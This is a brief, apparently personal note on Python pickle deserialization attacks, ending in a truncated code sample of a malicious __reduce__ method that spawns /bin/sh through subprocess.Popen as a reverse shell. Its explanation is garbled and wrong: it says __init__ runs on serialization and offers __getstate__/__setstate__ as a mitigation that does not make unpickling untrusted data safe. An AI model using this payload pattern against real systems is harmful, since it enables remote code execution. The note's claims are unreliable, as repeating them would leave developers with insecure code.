Deserialization in python: How it works? There is a library names 'pickle'. When we leverage 'pickle.load', it changes the serialized object completely during serialization because of '__reduce__'. As we know, when we serialize an object, the spacial method like '__init__' will be automatically executed. Mitigation: Leverage API like '__getnewargs()', '__getstate__()' and '__setstate__()' instead. e.g. : reverse shell of pickle: import cPickle import subprocess import base64 class Exploit(object): def __reduce__(self): fd = 20 return (subprocess.Popen, (('/bin/sh',), # args 0, # bufsize None, ...